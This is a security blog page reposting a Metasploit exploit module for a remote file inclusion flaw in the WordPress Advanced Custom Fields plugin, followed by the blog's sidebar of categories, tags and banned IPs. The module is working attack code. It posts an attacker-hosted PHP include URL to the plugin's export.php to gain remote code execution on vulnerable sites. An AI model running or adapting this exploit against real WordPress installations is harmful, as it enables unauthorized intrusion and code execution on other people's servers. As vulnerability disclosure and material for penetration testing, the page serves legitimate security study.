3Jan/130
WordPress Advanced Custom Fields Remote File Inclusion
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::PHPInclude
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress Plugin Advanced Custom Fields Remote File Inclusion',
'Description' => %q{
This module exploits a remote file inclusion flaw in the WordPress blogging
software plugin known as Advanced Custom Fields. The vulnerability allows for remote
file inclusion and remote code execution via the export.php script. The Advanced
Custom Fields plug-in versions 3.5.1 and below are vulnerable. This exploit only
works when the php option allow_url_include is set to On (Default Off).
},
'Author' =>
[
'Charlie Eriksen <charlie@ceriksen.com>',
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '87353'],
['URL', 'http://secunia.com/advisories/51037/'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Nov 14 2012',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
], self.class)
end
def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
uri << datastore['PLUGINSPATH']
uri << '/' if uri[-1,1] != '/'
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}advanced-custom-fields/core/api.php"
})
if res and res.code == 200
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def php_exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
uri << datastore['PLUGINSPATH']
uri << '/' if uri[-1,1] != '/'
print_status('Sending request')
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}advanced-custom-fields/core/actions/export.php",
'data' => "acf_abspath=#{php_include_url}"
})
if res and res.body =~ /allow_url_include/
fail_with(Exploit::Failure::NotVulnerable, 'allow_url_include is disabled')
elsif res.code != 200
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
end
end
end |
MondoUnix ADV
Segui MondoUnix
Categorie
- APACHE (11)
- BASH (15)
- CENTOS (22)
- DATABASE (7)
- DEBIAN (6)
- DRUPAL (17)
- ESX (7)
- ESXI (9)
- EXPLOIT (897)
- FEDORA (21)
- FREEBSD (55)
- HI-TECH NEWS (49)
- HOWTO (170)
- IPTABLES (8)
- IPV6 (9)
- JOOMLA (63)
- LINUX (352)
- LOCAL (64)
- MYSQL (4)
- NETBSD (11)
- NETWORKING (78)
- OFF TOPICS (3)
- OPENBSD (9)
- OPENINDIANA (6)
- OPENSOLARIS (7)
- PERL (7)
- PF (1)
- PHP (137)
- PROGRAMMAZIONE (17)
- PROXMOX (2)
- PYTHON (6)
- QEMU (2)
- REMOTE (91)
- RHEL (21)
- SCIENTIFIC LINUX (11)
- SICUREZZA (938)
- SISTEMI OPERATIVI (33)
- SOFTWARE (122)
- SWITCH (1)
- UBUNTU (12)
- UNIX (413)
- VIRTUALIZZAZIONE (17)
- WEB (19)
- WEBAPPS (749)
- WORDPRESS (1)
- WORDPRESS HOWTO (14)
- WORDPRESS SECURITY (218)
Articoli recenti
- Drupal 6.x/7.x Google Authenticator login Access Bypass
- Pingus 0.7.6 for Linux
- Drupal CMS 7.12 Multiple Vulnerabilities
- FreeBSD : risolvere errore “has a missing dependency”
- Joomla Discussions SQL Injection
- Joomla Component com_s5clanroster Sql Injection Vulnerability
- Joomla x-shop <= 1.7 Remote File Include Vulnerability
- WordPress VideoJS multiple themes vulnerabilities
Meta
Utility e Tool
- Convertitore da data a unix timestamp
- Drupal security
- Elenco ip bloccati
- Elenco ip bloccati ipfw
- Elenco ip bloccati iptables
- Elenco subnet bloccate
- Exploit database
- Ipv4 Network tools
- Ipv4 to Ipv6 calculator
- Ipv6 Network tools
- Ipv6 Reverse ip tool
- Joomla Security
- Mappa del sito
- WordPress Security
Archivio
- May 2013 (53)
- April 2013 (37)
- March 2013 (52)
- February 2013 (67)
- January 2013 (77)
- December 2012 (50)
- November 2012 (70)
- October 2012 (82)
- September 2012 (70)
- August 2012 (89)
- July 2012 (81)
- June 2012 (228)
- May 2012 (100)
- April 2012 (39)
- March 2012 (53)
- February 2012 (67)
Tag Cloud
0DAY
ANDROID
ARBITRARY FILE UPLOAD
ARBITRARY SHELL UPLOAD
CMS
COMPONENT
CROSS SITE REQUEST FORGERY
CROSS SITE SCRIPTING
CSRF
DOS
EXPLOIT
FREEBSD
HI-TECH
HOWTO
JOOMLA
LINUX
LOCAL
METASPLOIT
NETWORK
NETWORKING
NEWS
NOTIZIA
NOTIZIE
PHP
PLUGIN
PLUGINS
POC
PROOF OF CONCEPT
REMOTE
RETE
SCRIPT
SECURITY
SHELL
SICUREZZA
SMARTPHONE
SOFTWARE
SQL-I
SQL INJECTION
UNIX
VULNERABILITIES
VULNERABILITY
WEBAPPS
WORDPRESS
WORDPRESS SECURITY
XSS
IPv6 Certified
Latest banned ip
| 166.78.8.235 | 19/05/2013 | WEB |
| 216.97.227.65 | 19/05/2013 | WEB |
| 122.129.124.198 | 19/05/2013 | WEB |
| 203.150.231.45 | 19/05/2013 | WEB |
| 211.125.68.208 | 19/05/2013 | SSH |
| 27.153.219.230 | 19/05/2013 | WEB |
| 36.251.69.202 | 19/05/2013 | WEB |
| 85.214.23.182 | 19/05/2013 | WEB |
| 91.236.11.9 | 19/05/2013 | WEB |
| 220.227.73.34 | 19/05/2013 | SSH |
IPv4 Exhaustion Counter
Valid XHTML and Feed
Blog Link
Computers blogs
Blog Directory Top Blog Sites 

Blogs Blog Tools Promote Blog

Add blog to our directory.

![Validate my RSS feed [Valid RSS]](http://www.mondounix.com/images/valid-rss-rogers.png)